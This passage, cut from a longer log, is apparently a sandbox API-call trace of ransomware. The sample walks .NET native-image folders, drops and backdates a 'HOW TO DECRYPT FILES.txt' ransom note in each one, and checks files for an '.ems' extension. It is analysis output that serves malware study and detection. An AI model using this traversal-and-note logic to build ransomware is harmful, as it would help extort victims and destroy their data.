lpString2="964a515210f3bad01949e9ae4f83c7b2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2" [0106.218] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d9958e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d9958e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.219] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.219] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d9958e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d9958e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.219] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.219] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.219] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d0100d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d0100d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d2716d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x98600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Net.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.219] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.219] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.ni.dll") returned -1 [0106.219] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.ni.dll") returned -1 [0106.219] lstrcmpiA (lpString1="", lpString2="System.Net.ni.dll") returned -1 [0106.219] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\*.*") returned="*.*" [0106.219] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\" [0106.219] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\") returned="" [0106.219] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\HOW TO DECRYPT FILES.txt" [0106.219] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.net\\964a515210f3bad01949e9ae4f83c7b2\\how to decrypt files.txt")) returned 0xffffffff [0106.219] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.net\\964a515210f3bad01949e9ae4f83c7b2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.222] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.222] CloseHandle (hObject=0x90) returned 1 [0106.223] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\", lpString2="System.Net.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\System.Net.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\System.Net.ni.dll" [0106.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\System.Net.ni.dll", pszSpec="*.ems") returned 0 [0106.223] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d0100d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d0100d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d2716d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x98600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Net.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.223] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.223] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d9958e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d9958e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="964a515210f3bad01949e9ae4f83c7b2", cAlternateFileName="964A51~1")) returned 0 [0106.223] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.224] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc086db1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc086db1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Printing", cAlternateFileName="SYSTEM~1.PRI")) returned 1 [0106.224] lstrcmpA (lpString1=".", lpString2="System.Printing") returned -1 [0106.224] lstrcmpA (lpString1="..", lpString2="System.Printing") returned -1 [0106.224] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.224] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Printing" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing" [0106.224] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc086db1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc086db1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.225] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.225] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc086db1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc086db1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.225] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.225] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.225] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc086db1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc086db1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aac5817d96d0ddcffebc1c45000e9008", cAlternateFileName="AAC581~1")) returned 1 [0106.225] lstrcmpA (lpString1=".", lpString2="aac5817d96d0ddcffebc1c45000e9008") returned -1 [0106.225] lstrcmpA (lpString1="..", lpString2="aac5817d96d0ddcffebc1c45000e9008") returned -1 [0106.225] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\*.*") returned="*.*" [0106.225] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\", lpString2="aac5817d96d0ddcffebc1c45000e9008" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008" [0106.225] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc086db1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc086db1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.226] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.226] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc086db1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc086db1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.226] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.226] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.226] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfee830, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbfee830, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc03aaf1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xff000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Printing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.226] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.226] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Printing.ni.dll") returned -1 [0106.227] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Printing.ni.dll") returned -1 [0106.227] lstrcmpiA (lpString1="", lpString2="System.Printing.ni.dll") returned -1 [0106.227] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\*.*") returned="*.*" [0106.227] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\" [0106.227] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\") returned="" [0106.227] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\HOW TO DECRYPT FILES.txt" [0106.227] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.printing\\aac5817d96d0ddcffebc1c45000e9008\\how to decrypt files.txt")) returned 0xffffffff [0106.227] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.printing\\aac5817d96d0ddcffebc1c45000e9008\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.231] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.231] CloseHandle (hObject=0x90) returned 1 [0106.231] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\", lpString2="System.Printing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\System.Printing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\System.Printing.ni.dll" [0106.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\System.Printing.ni.dll", pszSpec="*.ems") returned 0 [0106.232] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfee830, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbfee830, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc03aaf1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xff000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Printing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.232] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.232] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc086db1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc086db1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aac5817d96d0ddcffebc1c45000e9008", cAlternateFileName="AAC581~1")) returned 0 [0106.232] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.232] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfc2f57f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfc2f57f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Runtime.Remo#", cAlternateFileName="SYSTEM~1.REM")) returned 1 [0106.232] lstrcmpA (lpString1=".", lpString2="System.Runtime.Remo#") returned -1 [0106.232] lstrcmpA (lpString1="..", lpString2="System.Runtime.Remo#") returned -1 [0106.232] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.232] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Runtime.Remo#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#" [0106.232] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfc2f57f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfc2f57f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.281] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.281] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfc2f57f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfc2f57f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.281] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.281] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.281] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfc2f57f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfc2f57f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5cae93d923c8378370758489e5535820", cAlternateFileName="5CAE93~1")) returned 1 [0106.281] lstrcmpA (lpString1=".", lpString2="5cae93d923c8378370758489e5535820") returned -1 [0106.281] lstrcmpA (lpString1="..", lpString2="5cae93d923c8378370758489e5535820") returned -1 [0106.281] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\*.*") returned="*.*" [0106.281] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\", lpString2="5cae93d923c8378370758489e5535820" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820" [0106.282] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfc2f57f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfc2f57f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.282] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.282] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfc2f57f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfc2f57f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.282] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.282] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.282] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbbd15e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfbbd15e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfbe32bf, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xbc600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Remoting.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.283] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.283] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0106.283] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0106.283] lstrcmpiA (lpString1="", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0106.283] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\*.*") returned="*.*" [0106.283] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\" [0106.283] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\") returned="" [0106.283] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\HOW TO DECRYPT FILES.txt" [0106.283] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.runtime.remo#\\5cae93d923c8378370758489e5535820\\how to decrypt files.txt")) returned 0xffffffff [0106.283] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.runtime.remo#\\5cae93d923c8378370758489e5535820\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.287] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.287] CloseHandle (hObject=0x90) returned 1 [0106.287] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\", lpString2="System.Runtime.Remoting.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\System.Runtime.Remoting.ni.dll") 